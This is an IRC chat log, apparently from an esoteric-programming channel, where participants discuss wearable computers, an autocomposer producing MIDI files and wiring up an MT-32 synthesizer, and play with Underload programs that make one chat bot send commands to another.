22:54:56 <ehird> YOU SHOULD FEEL SHIFTY AND ASHAMED
22:55:33 <ehird> argh! now i want to make a wearable computer
22:55:37 <ehird> GregorR: surely, though, it's hard to read text?
22:55:41 <ehird> small resolution and all
22:55:42 <psygnisfive> dunno of such machines are sufficient for all purposes. itd depend on whether or not there are some common tasks that require the possibility of non-halting behavior
22:56:05 <GregorR> ehird: I had to increase the font size, so I can't fit a normal 640x480 worth of text, but at the right size it's easy enough to read :P
22:56:12 <psygnisfive> i mean, REPLs generally are programmed that way, but sufficiently large maximum number of loops would be sufficient for all purposes and still halt
22:56:23 <GregorR> ehird: I wouldn't want to use it as an ebook reader X-P
22:56:35 <atrapado> psygnisfive, think about a desktop, it surely do not need such non-halting
22:56:36 <ehird> GregorR: but, necessarily it'll be harder to use than even a 15" external display
22:56:40 <ehird> since it's right against your eyes and low-res...
22:56:56 <psygnisfive> atrapado: well, no, you just need absurdly long halt times
22:57:06 <GregorR> ehird: The periscope-y thing plays an optical trick such that it doesn't look like it's right against your eye, it looks like it's larger and at some distance.
22:57:15 <ehird> GregorR: interesting
22:57:21 <psygnisfive> plus, all real computers are deciders, ignoring IO
22:57:24 <ehird> GregorR: i'd ask you to take a picture, but that's obviously rather impossible :)
22:57:36 <ehird> GregorR: if i was to make a wearable computer, I'd have to have a super-quick, high-quality camera
22:57:38 -!- Judofyr has quit (No route to host).
22:57:44 <atrapado> yes, they have limited memory and time
22:57:46 <ehird> because messing with reality would be so much fun...
22:58:03 <psygnisfive> but i think that means that all non-terminating behavior is trivial on them
22:58:25 <atrapado> yes, psygnisfive , they would reach a loop always
22:58:43 <ehird> GregorR: unfortuntaely, budget :(
22:58:57 <pikhq> ehird: There might be good reason to artificially downsize. Consider that a downsized system might have better battery performance.
22:59:13 <ehird> pikhq: true, but via nano battery life is, iirc, good
22:59:21 <ehird> pikhq: like >10hr good
22:59:27 <ehird> (well maybe less if you have it under constant load)
22:59:37 * pikhq wants it running for hours on double-A batteries. :P
22:59:54 <ehird> just charge a lithium battery overnight
23:00:02 <ehird> wearing it for over 10 hours would suck
23:00:05 -!- Judofyr_ has quit (Remote closed the connection).
23:00:49 <ehird> "Aimone and Mann succeeded in designing an injection moulded EyeTap suitable for mass production, as shown below: "
23:00:59 <ehird> GregorR: does that mean they actually inject it into your eye?
23:01:03 <ehird> http://wearcam.org/italian_design/bests/dsc001bbbb.jpg
23:01:19 <GregorR> ehird: Injection molding is how plastic devices are usually made to roughly the right shape :P
23:01:32 <ehird> GregorR: Well it looks like it's in the eye >_<
23:01:34 <GregorR> They INJECT it into a MOLD.
23:01:48 <pikhq> ehird: I'm saying 'laptop', not 'wearable computer', though.
23:02:18 <ehird> pikhq: Okay. The question is, what the fuck are you doing that puts you away from any battery charging ability whatsoever for such long amounts of time?
23:02:41 <ehird> pikhq: And why do you need your laptop on all this time?
23:02:47 <pikhq> Nothing at all. I just wants it.
23:02:49 <ehird> As opposed to hybrid suspend, which uses 0 power after a time.
23:03:08 <pikhq> And "laptop on all this time"? I am an IRC addict. :P
23:03:47 <pikhq> (on a more serious note: I suck at remembering to bring chargers for things)
23:03:58 <ehird> pikhq: So you're going out into the wilderness, where there is no opportunity to charge. And for all this ~13 hours of time, you will be on IRC constantly.
23:04:01 <ehird> Now, here's my question.
23:04:07 <ehird> WHY THE FUCK DID YOU GO INTO THE WILDERNESS? :P
23:04:26 <pikhq> s/wilderness/anywhere my computer is not/
23:04:58 <ehird> pikhq: Wow, does your state have some sort of electrical socket holocaust going on?
23:05:13 <ehird> GregorR: does that gen.mid thing change each load?
23:05:15 <pikhq> No, but I suck at remembering to bring chargers.
23:05:42 <ehird> pikhq: Then you suck at remembering to bring replacement AA batteries...
23:05:55 <GregorR> ehird: Also, I'm still fekking around with the software.
23:05:58 <ehird> pikhq: Nothing's gonna get you >10-15hrs.
23:06:09 <ehird> GregorR: relink me?
23:06:19 <GregorR> http://codu.org/masterpiecemachine/autocompose.php
23:06:22 <pikhq> AAs are easier to obtain than chargers.
23:06:27 <pikhq> Especially for custom hardware.
23:06:35 <GregorR> It's actually nearing being legitimately good.
23:06:45 <ehird> pikhq: Just get a generic lithium battery charger
23:07:20 <ehird> pikhq: Anyway, so you are near a store where you can get AAs, you have been IRCing constantly for 13 hours, and there is no way you could obtain or use a charger. And it is vital that you get your computer running again immediately.
23:07:36 <ehird> GregorR: this one has too many stops
23:07:46 <GregorR> ehird: Uhh, it shouldn't have any rests at all.
23:07:49 <GregorR> ehird: It generates no rests.
23:07:59 <GregorR> ehird: It might be an unfortunate result of the random instrument it picked.
23:08:03 <ehird> GregorR: Then it's generating tones out of my MIDI's range.
23:08:26 <GregorR> It's probably that it randomly chose the "wrong" instrument.
23:08:30 <pikhq> GregorR: How many <15kHz tones does it have?
23:08:36 <ehird> GregorR: but this is quite good. Make it generate multiple tracks.
23:08:45 <ehird> A special-case for percussion, say. Then add rests. And it will rock.
23:08:57 * pikhq wants a piece of music for not-old-men.
23:09:05 <oerjan> <ehird> ais523: Hbrw: Jst dd vwls. <-- actually hbrw is more insidious than that iirc. the jews themselves found it unreadable so they added _some_ but not _all_ of the vowel information using silent consonants at some point. then much later they added full vowel diacritics, but only for special purposes like the bible.
23:09:05 <GregorR> ehird: T.B.H., I don't know sh** about MIDI percussion :P
23:09:45 <ehird> GregorR: There are a few instruments that just have one sound with varying pitches, which is stupid
23:09:51 <ehird> GregorR: But the drumkit ones,
23:09:52 -!- atrapado has quit ("going-to-sleep").
23:09:56 <ehird> a pitch = one of the sounds.
23:10:09 <GregorR> It's hard to trial-and-error with an autocomposer :P
23:10:28 <ehird> GregorR: Fire up midi composer. Play around with drumkit. Program results into autocomposer.
23:11:01 <ehird> GregorR: It's just given me a percussive song :P
23:11:07 <ehird> It's very foreboding.
23:11:19 <ehird> GregorR: Yeah, I think so.
23:11:29 <ehird> It's rather catchy.
23:11:33 <ehird> GregorR: http://filebin.ca/dqnzjf/gen-1.mid
23:11:57 <ehird> It has some variation, too.
23:12:45 <GregorR> http://filebin.ca/smgzgb/gen3.mid // this one is seriously sweet
23:13:26 -!- BeholdMyGlory has quit (Remote closed the connection).
23:13:41 <ehird> GregorR: gen-1 seriously feels like an old DOS game
23:13:55 <ehird> it's the sort of crunchy, distorted sound of the timpanis
23:14:09 <ehird> GregorR: gen3 is jazzy
23:16:43 <ehird> GregorR: this could be seriously great given time. Want me to run gen-1 through my mt-32 for that Authenticke sound?
23:18:10 <ehird> GregorR: I agree, so I'll do it.
23:19:48 <ehird> GregorR: CAPS LOCK IS CRUISE CONTROL FOR ENTHUSIASM
23:19:53 <ehird> DO YOU WANT ME TO TAKE A PICTURE OF IT TOO
23:20:13 -!- coppro has joined.
23:20:23 -!- FireFly has quit ("Later").
23:21:04 <ehird> MY COMPUTER DOES NOT HAVE A MIDI OUT THINGY.
23:21:16 <ehird> I'M NOT SURE WHAT TO DO.
23:21:36 <GregorR> Uh, buy a USB->MIDI adapter? :P
23:21:51 <ehird> GregorR: THAT TAKES WORK.
23:22:04 <ehird> GregorR: I COULD TELL MY COMPUTER TO TELL MY KEYBOARD TO TELL THE MT-32 TO PLAY IT, I GUESS.
23:23:05 <ehird> GregorR: Did you know that you could send messages to appear on an mt-32's display?
23:23:08 <ehird> Adventure games did that.
23:23:09 <pikhq> ehird: Your computer doesn't do MIDI? Lame soundcard.
23:23:16 <ehird> pikhq: It DOES, but I don't have a port for it.
23:23:24 <ehird> iMac. It doesn't have many ports.
23:23:33 <pikhq> (I think it more likely your computer has a gameport/MIDI port, and you just need an adapter)
23:23:34 <GregorR> Very, VERY few modern computers have MIDI ports.
23:23:38 <pikhq> ... Oh, right. *Mac*.
23:23:41 <GregorR> Even classically they had game ports with adapters.
23:23:53 <pikhq> GregorR: Mine has two, if you count game ports.
23:24:09 <pikhq> ... Fine, so that's because I have onboard sound *and* a PCI sound card.
23:24:32 <GregorR> pikhq: So, two game ports? :P
23:25:28 <ehird> Guess I'll try doing a bastard computer→keyboard→mt-32→computer setup.
23:25:38 <ehird> Guess I'll try doing a bastard computer→keyboard→mt-32→keyboard→computer setup.
23:26:15 <ehird> GregorR: The cool thing about the mt-32 was that games and stuff could reprogram its soundbank.
23:26:18 <ehird> Unlike sound cards, etc.
23:27:02 <pikhq> ehird: So, like a high-quality sound card or a MIDI program.
23:27:10 <ehird> pikhq: No. MIDI soundcards cannot do that.
23:27:12 <ehird> It was a unique feature.
23:27:23 <ehird> (And why game companies loved it so much even though it cost so much and nobody had one)
23:28:37 <ehird> GregorR: Hookin' up stuff now
23:29:10 <pikhq> ehird: Some sound cards have proper synthesizers, and not just wavetables.
23:29:15 <pikhq> They're few and far between, though.
23:29:16 <ehird> pikhq: Not back then.
23:31:06 <ehird> GregorR: does it generate any stero?
23:31:10 <ehird> I only have one lead, so mono output
23:31:34 <pikhq> Late 90s is about when soundcards got better than wavetable.
23:33:42 <ehird> GregorR: all hooked up
23:33:45 <ehird> now to figure out how to send shit
23:39:51 * oerjan suggests an excremental approach
23:40:26 <ehird> GregorR: "Rondo will run in demo mode where random features are disabled each session."
23:40:54 <ehird> GregorR: the midi playing software
23:41:00 <ehird> GregorR: disabling a different feature each run is so stupdi :
23:41:17 <ehird> "You may choose up to 5 features"
23:41:43 <Asztal> that's what they should have done for Windows Starter Edition!
23:41:47 <GregorR> I don't disbelieve you, that's just incredible.
23:42:15 <ehird> *attempts to find out how to make it send midi*
23:43:16 <ehird> GregorR: it's Taiko Drum, not Timpani, btw
23:44:24 <ehird> it doesn't let you re-pick features
23:45:14 <GregorR> Is Taiko Drum a feature? ;)
23:45:31 <ehird> <me, to Rondo> JUST LET ME USE MY MT-32!!!
23:46:22 * ehird tries "Mighty MIDI"
23:47:20 <ehird> It seems to be able to do it
23:47:30 <ehird> GregorR: This will be rather WTFy...
23:47:40 <ehird> I'll have to start a recording in GarageBand,
23:47:45 <ehird> then tell Mighty MIDI to play it
23:47:48 <ehird> then stop when it stops.
23:49:14 <ehird> ok, it's sending to the kb
23:49:30 <ehird> but we're not getting anything back
23:50:23 <ehird> GregorR: problem identified
23:50:29 <ehird> the mt-32 isn't blinking, so it isn't getting anything
23:50:51 <ehird> think i gotta change some settings on the kb
23:55:04 <GregorR> http://filebin.ca/dsnmkp/TellinglyAccessibleJig.mid // three-track autocomposed :)
23:55:21 <ehird> GregorR: d'you think maybe "midi out" is it
23:55:28 <ehird> actually it might be "Local"
23:55:57 <ehird> The MIDI Out Mode key (G#2) determines what data is sent to the external MIDI Out port Pressing this key in Edit mode will
23:55:57 <ehird> toggle between two options:
23:55:59 <ehird> 1) MIDI coming from the computer via USB is sent to the external MIDI Out port
23:56:01 <ehird> 2) MIDI from the Keyboard is sent to the USB and external MIDI Out ports
23:59:02 <ehird> GregorR: that tellingly accessible jig is way too accessible
23:59:07 <ehird> GregorR: needs moar percussion
23:59:20 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
23:59:36 <fungot> http://zem.fi/~fis/fungot.b98.txt
00:00:13 <GregorR> ehird: http://codu.org/masterpiecemachine/getmidi.php?mpid=Perceptively+Chilly+Sonata
00:00:20 <GregorR> Happened to get percussion in there :P
00:00:29 <GregorR> As well as much weirdness :P
00:00:30 <ehird> GregorR: But like, properly made percussion.
00:02:33 <oerjan> fizzie: i'll put a link to http://zem.fi/~fis/fungot.b98.txt in EsoInterpreters for befunge -> bf/underload
00:02:34 <fungot> oerjan: yeah i am a hillary clinton looks more like her old hair color better her album let go is so scary. send this over to 5 videos and then i jizzed. in other way like bullet time and you can slide.
00:03:56 <ehird> GarageBand forgot my input.
00:04:37 <oerjan> anyone know any other esointerpreters than fungot and mine recently?
00:04:37 <fungot> oerjan: yeah you sure have a ' slang term', everything you wrote in your brain, the computer has the people who do you mean, well, except this is the lyrics? stfu yourself slam-mules-ass.
00:04:54 <oerjan> (esointerpreter = esolang in esolang)
00:07:01 <fungot> Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube*
00:07:04 <ehird> GregorR: Make it work ok
00:08:34 <ehird> GregorR: JUST MAKE MY BASTARD KEYSTUDIO 49I/MT-32 COMBINATION WORK ;_;
00:12:42 <ehird> GregorR: It isn't actually playing thru the mt-32.
00:14:09 <ehird> GregorR: "1) MIDI coming from the computer via USB is sent to the external MIDI Out port"
00:14:14 <ehird> Right, that is obviously what I wa— wait.
00:14:19 <ehird> It must be the mt-32, bec—
00:20:58 <ehird> GregorR: ............ahahahaha
00:21:09 <ehird> GregorR: The MIDI cable isn't connected to the MT-32; I disconnected it while testing stuff.
00:21:40 <ehird> Of course, that hasn't fixed the problem or anything. /sigh
00:36:53 <ehird> GregorR: YOU DID THIS TO ME
00:38:18 <ehird> GregorR: I'm <--> close to throwing this out of the window.
00:49:33 -!- Corun has changed nick to Corun|away.
00:50:58 <GregorR> http://filebin.ca/xdvbfy/TestilyIllustriousFugue.mid // ooohh, good!
00:52:53 <ehird> GregorR: Getting there w/ mt-32
00:54:41 <ehird> GregorR: that one is ok
00:55:06 <GregorR> It's dull, but that's to be expected.
01:04:05 -!- KingOfKarlsruhe has quit (Remote closed the connection).
01:05:10 -!- inurinternet has quit (No route to host).
01:08:32 -!- MizardX- has joined.
01:08:32 -!- Corun|away has changed nick to Corun.
01:09:23 -!- MizardX has quit (Read error: 104 (Connection reset by peer)).
01:09:28 -!- MizardX- has changed nick to MizardX.
01:10:13 <ehird> GregorR: what's the bpm of gen-1?
01:11:39 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)).
01:11:43 <ehird> GregorR: 'tis important!
01:11:58 <ehird> GregorR: i gots it working you see
01:12:48 -!- puzzlet has joined.
01:14:16 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
01:14:44 <ehird> GregorR: GregorR: GregorR: GregorR: GregorR: GregorR:
01:20:30 <oerjan> ^ul (!underload )S(((GregorR: )S)S:^):^
01:20:31 <fungot> !underload (GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S( ...too much output!
01:20:31 <EgoBot> Error: Expected ) at end of input
01:20:58 <ehird> ^ul (!underload )S(((GregorR: )S )S:^):^
01:20:59 <fungot> !underload (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S ( ...too much output!
01:20:59 <EgoBot> Error: Expected ) at end of input
01:21:05 <ehird> ^ul (!underload )S(((GregorR: )S )S:^):^
01:21:05 <fungot> !underload (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (Greg ...too much output!
01:21:06 <EgoBot> Error: Expected ) at end of input
01:21:08 <ehird> ^ul (!underload )S(((GregorR: )S )S:^):^
01:21:08 <fungot> !underload (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S (GregorR: )S ...too much output!
01:21:09 <EgoBot> GregorR: Attempt to execute unknown command 32
01:21:22 <ehird> ^ul (!underload )S(((GregorR: )S()!)S:^):^
01:21:22 <fungot> !underload (GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S()!(GregorR: )S( ...too much output!
01:21:22 <EgoBot> Error: Expected ) at end of input
01:21:30 <ehird> ^ul (!underload )S(((GregorR: )S())S:^):^
01:21:30 <fungot> !underload (GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(GregorR: )S()(Greg ...too much output!
01:21:31 <EgoBot> Error: Expected ) at end of input
01:21:34 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:34 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: ...too much output!
01:21:35 <EgoBot> Error: Expected ) at end of input
01:21:36 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:37 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(Gregor ...too much output!
01:21:37 <EgoBot> Error: Expected ) at end of input
01:21:38 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:39 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(Gregor ...too much output!
01:21:39 <EgoBot> Error: Expected ) at end of input
01:21:41 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:41 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: ...too much output!
01:21:42 <EgoBot> Error: Expected ) at end of input
01:21:43 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:44 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( ...too much output!
01:21:44 <EgoBot> Error: Expected ) at end of input
01:21:46 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:46 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( ...too much output!
01:21:47 <EgoBot> Error: Expected ) at end of input
01:21:48 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:49 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(Greg ...too much output!
01:21:49 <EgoBot> Error: Expected ) at end of input
01:21:51 <ehird> WORK YOU FUCK BUTTS
01:21:53 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:53 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( ...too much output!
01:21:53 <EgoBot> Error: Expected ) at end of input
01:21:55 <ehird> ^ul (!underload )S(((GregorR: )S( )!)S:^):^
01:21:57 <fungot> !underload (GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!(GregorR: )S( )!( ...too much output!
01:21:57 <EgoBot> Error: Expected ) at end of input
01:22:00 <ehird> AAAAAAAAAAAAAAAAAAAARGH
01:22:07 <ehird> ^ul (!underload )S(((GregorR: )S)S:^):^
01:22:07 <fungot> !underload (GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S( ...too much output!
01:22:07 <EgoBot> Error: Expected ) at end of input
01:22:09 <ehird> ^ul (!underload )S(((GregorR: )S)S:^):^
01:22:09 <fungot> !underload (GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(Greg ...too much output!
01:22:10 <EgoBot> Error: Expected ) at end of input
01:22:11 <ehird> ^ul (!underload )S(((GregorR: )S)S:^):^
01:22:11 <fungot> !underload (GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: ...too much output!
01:22:11 <EgoBot> Error: Expected ) at end of input
01:23:28 <oerjan> hm thutubot was nicer, it cut off only at a complete S i think
01:23:55 <ehird> GregorR: Nope, that's too sloooow.
01:24:03 <ehird> I know because I tried.
01:24:10 <ehird> GregorR: Could you just look at the file kplz? :P
01:25:25 <ehird> GregorR: Right. Although the MT-32's Taiko sound isn't very crunchy :P
01:26:13 <GregorR> It's unspecified in the file.
01:26:45 <oerjan> !underload ((0123456789)S:^):^
01:26:49 <ehird> GregorR: Maybe GarageBand lost data in the import of the midi.
01:27:05 <oerjan> ^ul ((0123456789)S:^):^
01:27:05 <fungot> 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123 ...too much output!
01:27:08 <ehird> GregorR: I had tempo set to 40bpm XD
01:27:27 <ehird> GregorR: WOW, set gen-1 to grand piano
01:27:36 <ehird> GregorR: It sounds amazing
01:27:47 <ehird> GregorR: What key's it in? Or does midi not have that
01:27:55 <GregorR> ehird: MIDI has that, it's in C minor.
01:28:34 <ehird> GregorR: Set it to C major before playing it as piano :P
01:29:27 <ehird> GregorR: because I had it as that, and it sounds great like that
01:29:38 <oerjan> (!underload ) takes 11, leaving 313 which looks suspiciously prime
01:29:59 <GregorR> Your MIDI thing will transpose minor into major? >_O
01:30:08 <GregorR> OH, no, it's just not annotated as minor in the MIDI file :P
01:30:10 <ehird> GregorR: No. I mean in GarageBand
01:30:15 <GregorR> Because autocomposer doesn't write that out :P
01:30:20 <ehird> GregorR: But it is C minor, right?
01:30:37 <oerjan> (also donald's car plate, fwiw)
01:30:46 <ehird> GregorR: Okay. Now, will you fix the fact that it suddenly ISN'T WORKING?
01:31:42 <oerjan> (Gregor: )S is also 11 long
01:33:19 <oerjan> ^ul (!underload ( )!)S(((GregorR: )S)S:^):^
01:33:20 <fungot> !underload ( )!(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(Gregor ...too much output!
01:33:20 <EgoBot> Error: Expected ) at end of input
01:34:11 <oerjan> ^ul (!underload ()!)S(((GregorR: )S)S:^):^
01:34:12 <fungot> !underload ()!(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: ...too much output!
01:34:12 <EgoBot> Error: Expected ) at end of input
01:34:32 -!- pikhq has joined.
01:36:48 <oerjan> the darn bot isn't consistent about where it cuts off :(
01:37:05 <Sgeo> "Not every player is allowed to program in MOO, including (at the moment,
01:37:05 <Sgeo> anyway) you. "
01:39:04 <oerjan> it won't matter because of the illegal instruction :(
01:40:03 <EgoBot> abcAttempt to execute unknown command 46
01:40:21 <ehird> GregorR: I'll try tomorrow
01:40:57 <ehird> GregorR: btw i blame you for the cash it'll cost me to get a wearable computer
01:41:06 <oerjan> ^ul (!underload ((GregorR: )S))S((:S)S:^):^
01:41:06 <fungot> !underload ((GregorR: )S):S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S: ...too much output!
01:41:07 <EgoBot> (GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )S(GregorR: )
01:41:57 <ehird> ^ul (!underload (GregorR: ))S
01:41:58 <fungot> !underload (GregorR: )
01:42:01 <oerjan> ^ul (!underload (GregorR: )))S((:S)S:^):^
01:42:05 <ehird> ^ul (!underload (GregorR: ))S((S)S:^):^
01:42:05 <fungot> !underload (GregorR: )SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS ...too much output!
01:42:05 <EgoBot> GregorR: Error: Stack underflow in S
01:42:09 <ehird> ^ul (!underload (GregorR: ))S((:S)S:^):^
